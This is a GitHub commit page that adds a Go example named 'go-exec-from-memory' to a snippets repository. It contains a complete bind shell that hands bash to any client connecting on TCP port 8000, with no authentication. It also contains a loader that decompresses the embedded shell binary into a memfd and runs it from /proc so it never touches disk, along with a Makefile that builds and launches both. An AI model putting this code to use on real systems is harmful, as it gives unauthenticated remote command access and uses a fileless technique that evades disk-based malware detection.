Skip to content

Commit 5eaf0e7

Browse files
committedMar 3, 2019
Running binary app from memory without saving on the disk
1 parent a686066 commit 5eaf0e7

File tree

9 files changed

+175
-0
lines changed

9 files changed

+175
-0
lines changed
 

‎README.md

+1
Original file line numberDiff line numberDiff line change
@@ -97,6 +97,7 @@ Many different pieces of code
9797
* [go-webassembly](go-webassembly) - Webassembly app written in Go
9898
* [go-websocket](go-websocket) - Websocket app written in Go
9999
* [go-x509-certs](go-x509-certs) - x509 certs manipulation with Go
100+
* [go-exec-from-memory](go-exec-from-memory) - Running binary app from memory without saving on the disk
100101

101102
### Java language
102103

‎go-exec-from-memory/Makefile

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
all: embeded packed run
2+
3+
embeded:
4+
cd cmd/embeded; GOOS=linux go build -o ../../resources/data/embeded
5+
cd resources/data; gzip -f embeded
6+
cd resources/; rice embed-go
7+
8+
packed:
9+
cd cmd/packed; GOOS=linux go build -o ../../build/packed
10+
11+
run:
12+
docker run --rm -v "${PWD}/:/app" -p "8000:8000" ubuntu bash -c "/app/build/packed && sleep 1000"
13+
+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
package main
2+
3+
import (
4+
"net"
5+
"os/exec"
6+
)
7+
8+
func main() {
9+
l, err := net.Listen("tcp", ":8000")
10+
if err != nil {
11+
panic(err)
12+
}
13+
14+
for {
15+
conn, err := l.Accept()
16+
if err != nil {
17+
panic(err)
18+
}
19+
20+
go startShell(conn)
21+
}
22+
}
23+
24+
func startShell(conn net.Conn) {
25+
shell := exec.Command("bash")
26+
shell.Stderr = conn
27+
shell.Stdout = conn
28+
shell.Stdin = conn
29+
shell.Run()
30+
shell.Wait()
31+
}
+48
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package main
2+
3+
import (
4+
"compress/gzip"
5+
"fileless/resources"
6+
"fmt"
7+
"golang.org/x/sys/unix"
8+
"io"
9+
"os"
10+
"os/exec"
11+
)
12+
13+
type MemFile struct {
14+
fd int
15+
}
16+
17+
func (f MemFile) Write(b []byte) (int, error) {
18+
return unix.Write(f.fd, b)
19+
}
20+
21+
func main() {
22+
fd, err := unix.MemfdCreate("embeded", 0)
23+
if err != nil {
24+
panic(err)
25+
}
26+
27+
gEmbeded, err := resources.Box().Open("embeded.gz")
28+
if err != nil {
29+
panic(err)
30+
}
31+
32+
embeded, err := gzip.NewReader(gEmbeded)
33+
if err != nil {
34+
panic(err)
35+
}
36+
37+
_, err = io.Copy(MemFile{fd}, embeded)
38+
if err != nil {
39+
panic(err)
40+
}
41+
42+
pid := os.Getpid()
43+
filepath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
44+
45+
cmd := exec.Command(filepath)
46+
cmd.Run()
47+
cmd.Wait()
48+
}

‎go-exec-from-memory/go.mod

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
module fileless
2+
3+
require (
4+
github.com/GeertJohan/go.rice v0.0.0-20170420135705-c02ca9a983da
5+
github.com/daaku/go.zipexe v0.0.0-20150329023125-a5fe2436ffcb // indirect
6+
github.com/kardianos/osext v0.0.0-20170510131534-ae77be60afb1 // indirect
7+
golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b
8+
)

‎go-exec-from-memory/go.sum

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
github.com/GeertJohan/go.rice v0.0.0-20170420135705-c02ca9a983da h1:UVU3a9pRUyLdnBtn60WjRl0s4SEyJc2ChCY56OAR6wI=
2+
github.com/GeertJohan/go.rice v0.0.0-20170420135705-c02ca9a983da/go.mod h1:DgrzXonpdQbfN3uYaGz1EG4Sbhyum/MMIn6Cphlh2bw=
3+
github.com/daaku/go.zipexe v0.0.0-20150329023125-a5fe2436ffcb h1:tUf55Po0vzOendQ7NWytcdK0VuzQmfAgvGBUOQvN0WA=
4+
github.com/daaku/go.zipexe v0.0.0-20150329023125-a5fe2436ffcb/go.mod h1:U0vRfAucUOohvdCxt5MWLF+TePIL0xbCkbKIiV8TQCE=
5+
github.com/kardianos/osext v0.0.0-20170510131534-ae77be60afb1 h1:PJPDf8OUfOK1bb/NeTKd4f1QXZItOX389VN3B6qC8ro=
6+
github.com/kardianos/osext v0.0.0-20170510131534-ae77be60afb1/go.mod h1:1NbS8ALrpOvjt0rHPNLyCIeMtbizbir8U//inJ+zuB8=
7+
golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b h1:MQE+LT/ABUuuvEZ+YQAMSXindAdUh7slEmAkup74op4=
8+
golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
*
2+
!.gitignore
+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package resources
2+
3+
import "github.com/GeertJohan/go.rice"
4+
5+
func Box() *rice.Box {
6+
conf := rice.Config{
7+
LocateOrder: []rice.LocateMethod{rice.LocateEmbedded, rice.LocateAppended, rice.LocateFS},
8+
}
9+
10+
box, err := conf.FindBox("data")
11+
if err != nil {
12+
panic(err)
13+
}
14+
15+
return box
16+
}

‎go-exec-from-memory/resources/rice-box.go

+48
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)
Please sign in to comment.